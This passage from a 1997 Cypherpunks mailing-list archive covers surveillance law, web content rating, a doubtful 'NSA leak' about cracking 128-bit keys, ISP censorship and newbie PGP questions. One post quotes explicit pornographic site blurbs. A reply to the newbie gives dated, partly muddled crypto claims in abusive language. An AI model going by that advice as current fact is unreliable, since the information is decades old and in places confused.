the United States, States, or political subdivisions, so long
as the recipient of the mailing is duly authorized to use such
devices. The Committee appreciates the extensive input of the
Federal Bureau of Investigation in drafting this legislation,
to ensure that the bill was crafted as narrowly as possible
while still achieving the intended effect.

[End report excerpt]

-----

For full report and bill:

   http://site108240.primehost.com/hr1840.txt  (14K)






From tcmay at got.net  Sun Jul 27 10:30:50 1997
From: tcmay at got.net (Tim May)
Date: Mon, 28 Jul 1997 01:30:50 +0800
Subject: LEO Sly Bug Buy, Bye Spy Shop
In-Reply-To: <1.5.4.32.19970727163329.008845bc@pop.pipeline.com>
Message-ID: 



At 9:33 AM -0700 7/27/97, John Young wrote:
>As follow-up to an earlier thread, and Tim's post on LEOs, them
>and us, this excerpt from House Report 105-162:

Thanks, John. This does indeed confirm what I was talking about. I hadn't
realized they had gotten bans on microphones that are politically
incorrect, except, of course, for themselves.

Why not just go all the way and ban typewriters and photocopiers,  except
for themselves, as other repressive regimes have done?

And who can say with a straight face they haven't earned sanctioning?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From paul at fatmans.demon.co.uk  Sun Jul 27 11:07:38 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 28 Jul 1997 02:07:38 +0800
Subject: OKC Bomber, or Cowardly Lion? / Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707260706.JAA19264@basement.replay.com>
Message-ID: 




>   I enjoy the outrageously strong opinions which do battle on the
> CypherPunks list, and I even have a mail folder titled, "CyberPissing,"
> in which I save the posts which contain classic cheap-shots.

I am almost certain I am in there somewhere, any chance of zipping up a 
few of my old abusive posts and sending them to me, might be amusing.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Sun Jul 27 11:21:57 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 28 Jul 1997 02:21:57 +0800
Subject: Reference.Com wants to pay listowners to send ads to their lists
In-Reply-To: <35Lcae20w165w@bwalk.dm.com>
Message-ID: 




> One of my many hats is the owner of a very technical mailing list
> with about 400 subscribers.  I received the following unsolicited
> e-mail from reference.com, which I'm reposting without comment:

I didn`t know you ran a listserv, do you run any crypto lists I may be 
interested in???

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From nobody at REPLAY.COM  Sun Jul 27 14:11:58 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 28 Jul 1997 05:11:58 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707272057.WAA03141@basement.replay.com>



At 02:05 PM 7/26/97 -0400,James Love wrote:
>   Suppose on the other hand that someone had a page that people thought
>should have a rating=adult tag.  Well, the person who didn't use the tag
>would just have to deal with whatever crap you would get for not
>labeling.                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 ^^^^^^^^^

That's not voulntary, as Tim stated.

>If you thought your site had some constitutional right not to
>label the content adult, then just don't label it.  I really don't think
>this will be that big an issue,

Unless you believe that voluntary ratings in order to get listed in a search engine are wrong.

>but I don't know (no one knows).  I
>think that a significant percent of porn sites would use the
>rating=adult label in a second if they thought it would get people off
>their back.  Those that didn't use the label could just put up with the
>consequences, whatever they are.  I would expect (and hope) that the
>rating=adult label would be used infrequently, mostly for sites
>involving explicit sexual images.  I don't think a rating=adult label
>would be much of a barrier to teenagers who wanted access to this type
>of material, since one could download a browsers in a few minutes that
>wouldn't block the data.  But like a childproof top on aspirin, it would
>work pretty well with pre-teens, I imagine.

Some pre-teens are smarter than that, and may thwart the system.  Whose fault it it then if they see a page with porn on it?

>    Well, I for one don't like a Y=7 type system.  It involves too much
>information from the person rating the wage page.  The more precision
>you put in a rating system, the more trouble you get in.  Keep it
>simple, very simple.  What if someone was a sex with sheep web site,
>unlabeled?  I don't care much.  I wouldn't be surprised, however, if
>Yahoo didn't give them the prominent listing they wanted, in the absence
>of the rating=adult label.  

Therefore, don't use yahoo.  Use one that doesn't promote censorship.

>    Maybe.  Maybe not.  Maybe it would "solve" the problem, without
>legislation.   I think it would be nice if the problem was solved
>without legislation. But if the problem (and I think there is a problem)
>isn't solved voluntarily, don't be shocked when Congress acts.  

And I won't be shocked when the Supreme court strikes that down.  The problem can be solved, just let parents monitor their kids access.  If that happened, there would be no need for this censorware and rating crap.

>      Are you calling me a lazy parent?  What is the obligation of a
>parent?  To supervise a kids web browsing?  Please, I think kids are
>better off with more privacy, and less parental (and teacher)
>supervision when they browse the web.  

Well, if they have that privacy, they often go to a site with images that some people consider obscene.  That's when the parents, unable to accept their mistake for not being responsible, blame the webpage's author.

>     This simply isn't true.  A lot of support for content labeling,
>including systems which I find appalling, is from fairly typical
>parents.  This isn't a right wing or born again issue.  

Those parents probably are lazy in the first place.

>    Nothing will satisfy everyone.  But reasonable people will support
>reasonable solutions, and it might be the case that there are enough
>reasonble people around to come up with a resonable system.

You seem to favor the "Let's just do this to avoid hassle" thing that law enforcement and government types try to promote.  If we were to, "avoid the hassle" with webpage ratings, we might as well "avoid the hassle" of using PGP and such so that we don't anger the government anymore.

I'm not labeling my webpage, and no dickhead is going to tell me to.






From guill at xmission.com  Sun Jul 27 14:39:47 1997
From: guill at xmission.com (Guillotine)
Date: Mon, 28 Jul 1997 05:39:47 +0800
Subject: New Crypto Application
Message-ID: <199707272124.PAA12529@xmission.xmission.com>



Greetings fellow Cyphers...

I'm creating a new _text_ cryptography program.  The encryption algorithm,
using a symmetrical is going to be as strong as legally allowed, and after
copyrighting the program, I'm going to release the source code and explain
everything about it (since it can be reverse engineered anyways).  The
reason I'm sending this e-mail to you is my request for more knowledge, and
if you're like me, then you have an extreme thirst for knowledge!  Any
algorithm, key hashing, user interface, or other important suggestions you
might have will help me immensely, and hey, maybe you'll get a free copy of
this program when it comes out, but otherwise you will just have to wait
until someone cracks the copyprotection because I'm going to make that
extremely hard to do.  I was going to call the program AlphaNumeric
Encryption, but that says pretty much nothing...  I might just call it
something like Cipher Pad (or Cypher Pad if nobody cares that I use
"cypher") , since it's only for text encryption.  If you have a better idea
for a name for this program, then please suggest it to me.

Thanks,

Guillotine






From iang at cs.berkeley.edu  Sun Jul 27 14:57:10 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Mon, 28 Jul 1997 05:57:10 +0800
Subject: NSA leak (fwd)
In-Reply-To: 
Message-ID: <5rgfra$ro@abraham.cs.berkeley.edu>



[To cypherpunks, copied to fight-censorship (which I'm not on).]

In article ,
Robert Hayden-0797-EMP-HSE   wrote:
>Say this on the Fight Censorship list.  Just FYI.
>
>---------- Forwarded message ----------
>Date: 19 Jul 1997 17:56:51 -0000
>From: Secret Squirrel 
>To: fight-censorship at vorlon.mit.edu
>Subject: NSA leak
>
>WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
>senior official at the super-secret National Security Agency was overheard
>at a White House press conference concerning current bans on the export of
>encryption technology saying, "It would not take any twelve times the age of
>the universe to decrypt a 128-bit message.  Thirty-three minutes is more
>like it."
>
>Observers at the press conference indicated that the senior official's
>remarks were intended to be overheard by those standing nearby, who included
>White House officials, reporters, and a troupe of girl scouts from Lundane,
>Illinois.

Uh-huh.  Unless the Administration has granted a secret Executive Order
repealing the Laws of Physics for the NSA, the above statement, if true,
would imply one of the following things:

1. The NSA has a reversible computing machine with at least 2^128*128 bits
   = 5.44*10^39 bytes = 4.95*10^27 TB of memory.  Hardly.

2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
   being extremely generous; it assumes (in the style of Schneier) that
   they only have to increment a counter through each possible key, and
   that _checking_ the key is free.  Let T be the temperature at which
   they run their computer.  Again, be very generous, and assume that
   their computer is in deep space, with an ambient temperature of 
   about 3 Kelvins, and that their super-fast processor does not heat
   up the system, so T = 3K.

   Then their cracker would require 2^128 * k * T of energy in 33 minutes
   (k is Boltmann's constant, 1.38*10^-23 J/K).  This works out to a power
   requirement of 2^128*k*(3K)/(33*60s) = 7.12 TW (terawatts).  This
   seems also unlikely.  (Actually, for all I know, terawatt power sources
   may exist; that's out of my field.  Please let me know if this is the case.
   I just know that at my rates, 7.12 TW for 33 minutes (at about $.10/kWh)
   would cost $392 million each time they wanted to crack a key (half that
   in the average case; and of course, their electrical rates are probably
   lower than mine...).  Again, this is being _extremely_ generous in
   the energy consumption calculations.  Note also that this dollar figure
   depends only on the size of the key and your power rate; the 33 minute
   figure cancels out.)

   There could be some tradeoff in the above two cases.

3. They have a quantum computer, or some alien technology, or something
   else we know pretty much nothing about.

Given this choice, I would vote for #3. :-)  However, I'd go out on a limb
and say that the NSA guy was simply lying (or that the anecdote itself is
mistaken).

   - Ian






From vznuri at netcom.com  Sun Jul 27 15:20:21 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Mon, 28 Jul 1997 06:20:21 +0800
Subject: "the sovereign individual" by davidson/rees mogg
Message-ID: <199707272214.PAA26120@netcom13.netcom.com>



interesting new book out on the shelves, (c) 1997, by
James Dale Davidson and Lord William Rees-Mogg called
"the sovereign individual". many cpunk themes in this
book and I highly recommend it to people on the list.
from the back cover:

they predict:

- collapse of the welfare state and the death of nations worldwide
- overhaul of the US Tax system, based on consumption instead
of earnings
- governments will lose power to arbitrarily regulate
economies
- banks will go through larger crisis than the 1980s
- US government will diminish to the size it was in
the 19th century
- US government- IRS, CIA, NSA will declare war on
groups that try to circumvent the income tax through cyberspace
- organized crim ewill grow as central economies break down
- central banks will lose power to inflate and control
the money supply as paper money is supplanted by cybercash
- individuals will gain more autonomy and financial capability 
- morality will make a comeback.

interesting ideas on the role of violence in what makes
different government and social systems "viable" and the
idea as the government as being in the "protection" business
with a monopoly on the use of violence. ideas about digital
currencies that compete with each other on the free-market
bases. inviability of the "new world order" of worldwide
government.  lots of neat ideas on cyberspace. role of
cryptography in securing private transactions.

from p. 324, on cyberspace:

"massed armies will mean little in such a world. efficiency will
mean more than ever before. because microtechnology creates
a new dimension in protection, individuals for the first time in
human existence will be able to create and protect
assets that lie entirely outside the realm of any individual 
government's territorial monopoly on violence. these assets, therefore,
will be highly susceptible to individual control. it will be perfectly 
reasonable for you and significant numbers of future Sovereign Individuals
to "vote with your feet" in opting out of leading nation-states
to contract for personal protection with an outlying nation-state or
a new minisovereignty that will only charge a commercially
tolerable amount, rather than the greater part of your net worth."

an interesting theme near the end of the book is the idea that
morality/trust will play a more important role in cyberspace because
people will be depending on each other's reputations to conduct
business transactions in cyberspace.

some of these ideas I've written on here before, and seen much dialogue
here. think this will be an influential book that will frame future
debate for a long time.

the authors verge on what consider "conspiracy theory" at times when
they even get into Clinton's drug connections in mena, arkansas.

they advocate going to alternative sources of news other than the
mass media which will be unable to recognize or report on the
reality of the changing world because they are caught up in
their own reality distortion fields, very much like those who,
at the fall of the roman empire, still believed it existed.






From love at cptech.org  Mon Jul 28 07:02:03 1997
From: love at cptech.org (James Love)
Date: Mon, 28 Jul 1997 07:02:03 -0700 (PDT)
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: <33DCA6FE.32CB0327@cptech.org>


Paul Bradley wrote:
> 
> > Tim, if you think that no web site are unambiguously inappropriate
> for
> > children, then you are in a state of denial.
> 
> Please clarrify this for us: What sites would you classify as
> unsuitable
> for children? 


Let me you way out on a limb, and suggest the following entries, from an
infoseek search for the workd PICS, would be unabiguously inappropriate
for children.

--------------------------------

Pissing, Fisting and beastiality! We go to great lengths to bring you
the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
Watch! Unfortunately, We can't bring you everything!
55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K) 

Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!! 
The ultimate in anal, double anal, double penetration, sloppy oral, and
gangbang action!!! 100% GUARANTEED free xrated pics Action!

55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)

-------------------------------------------------


> What would you define as being a child? 
> What
> justification
> do you give for supposing certain material to be unsuitable for
> viewing
> by a certain class of people?


    I don't think I need much justification to suggest that "the
ultimate in anal, double anal, double penetration, sloppy oral, and
gangbang action" is unsuitable for viewing by "a certain class of
people," --- namely children.  Do you seriously dispute this?  If so,
there isn't much point in debating this.  


> 
> > are a mistake, and should be resisted.  However, I do favor a far
> less
> > ambitious and less informative system (less is more, as far as I am
> > concerned), which involves a simple, single voluntary tag, selected
> by
> > the web page publisher, at their discretion, of the nature of
> >
> > 
> 
> Would your vision of this be a mandatory system, or totally voluntary?
> Would clearly rating a site incorrectly be punishable in any way?


         What I suggested was a system where you either label it adult,
or you don't label it at all.  I certainly wouldn't think anyone would
get punished for labeling a site adult if it was suitable for children. 
As for a failure to label for adult content, I think the consequences
should be pretty obvious.  You have community and church groups pissed
off.  You have law enforcement officials from various countries pissed
off.  You have parents pissed off.  You have legislators pissed off. 
That's what is going on now.  Why one would want to encourage this is
beyond me.  Maybe fighting for the right to show  the "ultimate in anal,
double anal, double penetration" to children has redeeming value that I
don't appreciate.  

      There are lots of government and non-government sanctions that
could come into play for those who don't take reasonable steps to make
it easier to censor some content for children.  This is just the way the
world is.  It's like a state of nature.  It's human nature.  It is
undoubtely the majority view.  Even if one completely disagreed with the
idea of censoring "gangbang action" for children, you might find it a
good strategy, in order to avoid worse outcomes, such RSACi, Safesurf or
other PICS type rating systems.

     But if you think it is really important to fight for the rights of
9 year olds to see such materials in schools and libraries (where a lot
of the battles are being fought today), then go right ahead.  Good
luck.  

      Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org





From roeber at netscape.com  Sun Jul 27 16:40:26 1997
From: roeber at netscape.com (Frederick G.M. Roeber)
Date: Mon, 28 Jul 1997 07:40:26 +0800
Subject: NSA leak (fwd)
In-Reply-To: 
Message-ID: <33DBD82F.392EBAC0@netscape.com>



> (Actually, for all I know, terawatt power sources may exist; that's 
> out of my field.  Please let me know if this is the case.[)]

I don't know about continuous sources, but the "Star Wars" SDI research
came up with a storage system that could discharge terawatts for
something in the seconds/minutes(/hours?) range.  Basically a large
superconducting coil buried in the ground, it would feed the
ground-based lasers.  Not that this really impacts your analysis..

I suspect the 33 minutes is probably in reference to a dictionary attack
of some sort, rather than an exhaustive keysearch.

However, don't rule out quantum computers.  I think they're doable.. a
few months in an optics lab, maybe I can come up with a cell.

> Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA,

I was at CERN when Clinton was elected and brought in his new
administration.  His DOE head (Hazel O'Leary?) made a speech to a group
of physicists in which she indicated her belief that physical laws
weren't much different than "real" laws.. and that if we found them
troublesome, well, she had access to the folks in DC who could get an
amendment passed.  Stunned silence.

-- 
Frederick G.M. Roeber






From nobody at secret.squirrel.owl.de  Sun Jul 27 17:47:36 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Mon, 28 Jul 1997 08:47:36 +0800
Subject: NSA leak (fwd)
Message-ID: <19970727234600.3398.qmail@squirrel.owl.de>



Subject: Re: NSA leak (fwd)

Ian Goldberg  writes:
> 2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
>    being extremely generous;

>                          (Actually, for all I know, terawatt power sources
>    may exist; that's out of my field.  Please let me know if this is the case.


Not within a few million miles of here, and they'd be hard to conceal.

A few GW is fairly easy, by several methods.

Terrestrial fusion is not a serious contender yet, and I doubt
it will be for a long time.



> 3. They have a quantum computer, or some alien technology, or something
>    else we know pretty much nothing about.

> Given this choice, I would vote for #3. :-)  However, I'd go out on a limb
> and say that the NSA guy was simply lying (or that the anecdote itself is
> mistaken).

I agree.  The 'something else' could be info about RNG flaws I suppose.
This guy couldn't be thinking about DES could he ?






From declan at pathfinder.com  Sun Jul 27 20:51:55 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 28 Jul 1997 11:51:55 +0800
Subject: NSA leak (fwd)
In-Reply-To: <5rgfra$ro@abraham.cs.berkeley.edu>
Message-ID: 



Don't believe everything you see that comes through an anonymous remailer!

-Declan

> >---------- Forwarded message ----------
> >Date: 19 Jul 1997 17:56:51 -0000
> >From: Secret Squirrel 
> >To: fight-censorship at vorlon.mit.edu
> >Subject: NSA leak
> >
> >WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
> >senior official at the super-secret National Security Agency was overheard
> >at a White House press conference concerning current bans on the export of
> >encryption technology saying, "It would not take any twelve times the age of
> >the universe to decrypt a 128-bit message.  Thirty-three minutes is more
> >like it."
> >
> >Observers at the press conference indicated that the senior official's
> >remarks were intended to be overheard by those standing nearby, who included
> >White House officials, reporters, and a troupe of girl scouts from Lundane,
> >Illinois.






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From cme at cybercash.com  Sun Jul 27 22:59:08 1997
From: cme at cybercash.com (Carl Ellison)
Date: Mon, 28 Jul 1997 13:59:08 +0800
Subject: NSA leak (fwd)
Message-ID: <199707280532.BAA03808@carl.cybercash.com>



-----BEGIN PGP SIGNED MESSAGE-----

   Date: Sun, 27 Jul 1997 23:11:22 EST
   From: Ian Goldberg 

   Uh-huh.  Unless the Administration has granted a secret Executive Order
   repealing the Laws of Physics for the NSA, the above statement, if true,
   would imply one of the following things:

	[3 violations of physics as we know it]

I'm not saying that the posting was legit, but you can apply the same
thinking to the breaking of Enigma using 1940 technology.

The assumption which might not be valid is that 128 bits of key in RC4 or
RC2 (the popular export algorithms) is worth a full 128 bits.

 - Carl


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: mailcrypt-3.4

iQCVAwUBM9wu3FQXJENzYr45AQEcjQP+N0TJh91ciAoxWmIQdIRRfKJ6XA7UuTk5
bL/3LEJKJ+r3WmbmQGSozMIrMM/Dn6sWCuo3XYOQI+Mrj7VG327lXFi3NnnhyXZe
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jQ1pgN/nxi4=
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-----END PGP SIGNATURE-----






From enoch at zipcon.net  Sun Jul 27 23:33:02 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Mon, 28 Jul 1997 14:33:02 +0800
Subject: CPAC, XtatiX, and the Censor-State
Message-ID: <19970728062731.13289.qmail@zipcon.net>



The self-proclaimed "child protectors" are at it again.  This
time, an ex-police officer with far too much time on his hands
has declared war on all so-called "boylover" web sites on the
Internet.

This includes not only sites where legal issues surrounding
youthful sexuality are discussed, but virtually every site in
which the word "boy" appears, including photography web sites,
young celebrity sites, and any sites such sites link to.

We're not talking about porn here, but material which is
perfectly legal, the vast majority of which would attract little
attention aside from the fact that a bunch of Christian wankers
have unilaterally decided for all of us that they do not want it
on the Net.

They have sworn to harrass each and every ISP carrying material
on their "hit list," until the material is removed.  Tactics
include intimidating snail mail spams and phone calls by people
claiming to be associated with law enforcement, as well as late
night phone calls threatening bodily harm to ISP management and
their families.

The rantings of this individual and his similarly minded friends
can be found at...

         http://mavrick-bbs.com/cyranch/sewer2.htm
and      http://www.thecpac.com/net-safety.html

The latest organization to be attacked by Officer Friendly and
his contingent of jackbooted thugs is XtatiX.com, a small
provider which until recently had hosted a number of web
resources which CPAC didn't like.  The nature and content of
these web sites were clearly discussed with XtatiX before they
were chosen to host them, and assurances were given that no 
problem existed. 

XtatiX.com states explicitly on their home page, and I quote...

   "XtatiX supports the concept of an open Internet. Xtatix
    does not censor accounts or content in any form. We
    encourage our users to exercise sound and responsible
    judgement when creating their web pages."

   "We also understand that some internet sites may have
    content that some find objectionable. Software products
    exist which give the individual the ability to limit
    unwanted material. This software does not interfere with the
    rights of others to surf as they wish."

So one might think that anything legal and resonably tasteful
goes at XtatiX, right?  Well, that's the way it was until the
CPAC contingent hurled a few threats in their direction.

In response to the harrassment, XtatiX is now sending a letter to
web customers whose pages are, according to XtatiX, "too
controversial."

XtatiX says in part...

   "We regret to inform you that we can no longer host your
    website, due to many local and national pressures on us, to
    get rid" of sites of the nature of yours, and also a few
    more sites with other natures that could be considered
    controversial."

   "We sincerely apologize, because we _DO NOT_ like
    censorship, nor do we endorse its use. We have had to
    practice it of late, though, because of many law
    enforcement and other officials emailing us, and or calling
    us in regards to some of the sites we are now hosting."

   "Again, if it were based soley upon our choice, then we
    would not change our censorship policies, and would not have
    to do things such as these, which pain us very much. We
    would appreciate it very much if you would please copy the
    files you need to host your site off the server within 48
    hours, and delete the copies on the server."

   "This does not mean that we do not still want you on as an
    XtatiX customer, but we can no longer deal with as many
    hate mails, phone calls, and emails from law enforcement
    officials and users on other systems. Please bear with us."

Now XtatiX is certainly welcome to accept or turn away business
as they see fit, although it seems somewhat disingenuous of them
to loudly advertise their service as one that "does not censor
accounts or content in any form," while at the same time,
crawling all over themselves to get rid of customers they
consider "too controversial," based on harrassment orchestrated
by a single pressure group.

Now to some Cypherpunk issues this case illustrates...

"Information Wants To Be Free"

Our working model of information services has always been
comprised of three things.

First, a dynamic collection of information service providers with
complete discretion as to whom they choose to do business with.
Second, a Net which regards censorship as damage and routes
around it.  And third, market forces that ensure that any legal
information has a home where others may access it.  Providers
that censor lose customers, who give their money to providers who
don't.

The CPAC/XtatiX case study demonstrates another reality.

First, a dynamic collection of information service providers in a
mad race to see who can come in second to last when the awards
for "Enemy of the State" are handed out.  Second, a Net in which
almost nothing is multi-homed which cannot even regard damage as
damage and route around it.  And third, market forces which
ensure that censorship is frequent, silent, and never publicly
spoken of in policy statements.

Whether it's CPAC wanting to nuke all web sites containing the
word "boy," Sen. Swinestein wanting to nuke all web sites
containing the word "bomb," or Sen. Hatch wanting to nuke all web
sites containing the word "sex," the optimal strategy for service
providers has turned out to be to quietly remove any material
some squeeky wheel is uncomfortable with, keep proclaiming
themselves to be the strongest supporters of free speech in the
entire Net community, and stonewall when asked questions which
might suggest anything to the contrary.

This behavior of the Net mirrors the behavior of the other
so-called "free" market-driven media.  There are issues and
points of view you will never see discussed on the evening news,
or in Time and Newsweek.  There are books that disappear from
your local library and bookstores and are not replaced.

The Net is starting to look a lot more like just another
"self-regulated" media outlet, where the individual citizen has
access only through a company whose principals are well versed in
whose feathers must not be ruffled.

The CPAC/XtatiX dance is being repeated each and every day, with
providers like Tripod and Geocities, and with search engines
quietly removing Horsemen-related articles from their databases,
all while proudly displaying their Blue Ribbon Campaign icons for
Free Speech on the Net.

What's happening now is that a lot of sites are moving offshore,
but it probably won't be long before "The Attorney General's List
of Horseman-Related Offshore IPs" is dutifully prepared for
Congress each year, and Router-Blocked at our borders under
threat of criminal penalties.  "Information Laundering" will
undoubtedly become the Fifth Horseman shortly thereafter.

All of this represents a big shoe in the clockwork of
Crypto-Anarchy, and a problem needing a technological solution
post haste.  Suggestions and discussion are welcome.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From bennett_t1 at popmail.firn.edu  Mon Jul 28 16:36:07 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Mon, 28 Jul 1997 16:36:07 -0700 (PDT)
Subject: Queries from a Cyper-newbie?
In-Reply-To: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
Message-ID: <3.0.2.32.19970728193553.007df490@popmail.firn.edu>


-----BEGIN PGP SIGNED MESSAGE-----

At 03:45 PM 7/28/97 -0700, you wrote:
>Anybody willing to offer a bit of help to a cypher-newbie?  I'm 
trying to sort out a few of the basics:

Well as long as you ask like that instead of what most newbies do, 
such as try and subscribe by sending "Add me to the mailing list" to 
the list.

>1. PGP 5.0 -- good software?

It's better integrated for Mac Lusers and Windows 95ers.  It is, 
however, flawed in some respects.

>If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 
different than 2.6.3i ?  Which is better?

2.6.3i cannot use CAST, or (who would want to , it's DES!) Triple-
DES.  It does however, can use other hashes with RSA, thanks to 
someone's discovery on PGP-USERS.  2.6.3i is dos native, and complex. 
 A shell integrates nicely, but it's still not the same.

>2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i 
(and vice versa?)  Using RSA keys? 

ONLY using RSA keys.  DSS/Diffie-Hellman support is being added to 
old PGP's.  RSAREF is used in PGP 5.0 .  MPILIB, Phil Zimmermann's 
original PGP RSA algorithm implementation is used in international 
versions.  It's becuase of RSA's patent stuff.

>3. I understand certain encryption s/w cannot be legally exported, I 
am aware that such s/w is nevertheless being used (and built) abroad. 
 My queries:  Is purely domestic use being threatened by the pending 
legislation?  Is it already illegal to send an encrypted msg out of 
the US? If so, is it illegal to receive an encrypted msg from outside 
the US?

Unless it is the "shitty 40 bit" type.  It can be built abroad, for 
example, IDEA was made in switzerland, or something like that..., PGP 
2.6.3i was made legally, I think.  Domestic use is being threatened 
by Nazi Motherfuckers like Billy-Bob Clinton [spit], The FBI, and the 
NSA.  Oppose them.  Go to www.crypto.com and do some of the stuff 
there.  Sending and recieving mail from the outside of the US *is 
legal*.

>4. How strong is strong?  My MS Explorer has the 128 bit encryption 
scheme to secure domestic financial transactions (such as credit 
cards). How "un-encryptable" is this? I read some recent postings 
here re difficulty of breaking 128 bit keys -- but this had reference 
to stronger methods of encryption than MS Explorer uses, right? So 
128 bits is hard to break (umptyump years, terrawatts, etc.)? Then 
why does my PGP 5.0 software offer keys that are 768, 1024, etc. up 
to 4096 bits in length? Are these numbers on the same scale? 

Unencryptable?  What the fuck are you talking about?  If you mean 
crackable, let's just say it'd take several time the age of the 
Universe to crack it.  The RSA keys are weaker than symmetric 
cyphers, unless we're talking about DSS/Diffie-Hellman keys with 
4096bits.  They are not on the same scale.

>Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS 
there some layman-understandable difference between these? 

Well, RSA's are patented and RSA is really anal with their patents.  
DSS/Diffie-Hellman keys are unpatented.  You can change hashes on RSA 
keys (RIPEM160, MD5 [was broken already], and SHA-1).  But to use 
those RSA's with older PGP's, use only MD5.

>5. Is international data traffic somehow monitored (or monitorable) 
to detect encrypted traffic?

It can be detected that you're using encryption.  Breaking PGP is 
another thing.

If any other cypherpunks want to correct me here, do so.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9065B0+FhmmTrSJAQEdsgQAmRAJR7CxQCy4Wfny8YM6oJ3chLKnJCnA
E45EElRsAVS8zyAWy06/ZJFG8XjInjgAzmx+fRvGoN0qHvObyFfrDMPML0w+405s
cddgcApc0DfbjP8narKHVBQnbOhwuSjdDbwTbFF9F+EG0OkXewgYKXS/QnS11ov/
ofr4ooPGcr0=
=rowH
-----END PGP SIGNATURE-----







From roeber at netscape.com  Mon Jul 28 01:38:05 1997
From: roeber at netscape.com (Frederick G.M. Roeber)
Date: Mon, 28 Jul 1997 16:38:05 +0800
Subject: NSA leak (fwd)
In-Reply-To: 
Message-ID: <33DC5671.FFE641B7@netscape.com>



It seems that my latest build of Communicator regressed, and a bug
reappeared.  I edited the "newsgroup" line and turned it into a "to"
line to Ian.  Nevertheless, the message appeared here.  Sigh.

Damn, I hate Mondays.

-- 
Frederick G.M. Roeber






From zooko at xs4all.nl  Mon Jul 28 02:12:24 1997
From: zooko at xs4all.nl (Zooko Journeyman)
Date: Mon, 28 Jul 1997 17:12:24 +0800
Subject: NSA leak magic
Message-ID: <199707280902.LAA21881@xs2.xs4all.nl>



A million monkeys operating under the pseudonym "Ian Goldberg" typed:

> Uh-huh.  Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA, the above statement, if true,
> would imply one of the following things:
> 
> 1. 
> 2. 
> 3. 


4.  It takes 33 minutes to view the satellite images, wiretaps,
and TEMPEST recordings, and bribe, threaten, cajole or torture
the subject's friends and business partners, and run the 
"stupid passphrase/weak random seed" cracker.


I believe it.


Z

who is still trying to grok how the girl scouts figure in.
"You're a thought criminal!"






From h_tuttle at rigel.cyberpass.net  Mon Jul 28 02:33:16 1997
From: h_tuttle at rigel.cyberpass.net (Harry Tuttle Remailer)
Date: Mon, 28 Jul 1997 17:33:16 +0800
Subject: NSA leak (fwd)
In-Reply-To: <19970727234600.3398.qmail@squirrel.owl.de>
Message-ID: <199707280920.CAA07789@rigel.cyberpass.net>



On Sun, Jul 27, 1997 at 11:46:00PM -0000, Secret Squirrel wrote:
> Subject: Re: NSA leak (fwd)
> 
> Ian Goldberg  writes:
> > 2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
> >    being extremely generous;
> 
> >                          (Actually, for all I know, terawatt power sources
> >    may exist; that's out of my field.  Please let me know if this is the case.
> 
> 
> Not within a few million miles of here, and they'd be hard to conceal.
> 
> A few GW is fairly easy, by several methods.

Terawatts for a few microseconds is fairly standard technology, I 
believe.  Femtosecond laser pulses driven by *very* large capacitor 
banks... 

> Terrestrial fusion is not a serious contender yet, and I doubt
> it will be for a long time.

It's easy to generate lots of power through fusion.  The problem is 
confinement. 






From dformosa at st.nepean.uws.edu.au  Mon Jul 28 03:49:42 1997
From: dformosa at st.nepean.uws.edu.au (? the platypus {aka David Formosa})
Date: Mon, 28 Jul 1997 18:49:42 +0800
Subject: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: 



On Sun, 27 Jul 1997, Guillotine wrote:

> I'm creating a new _text_ cryptography program.

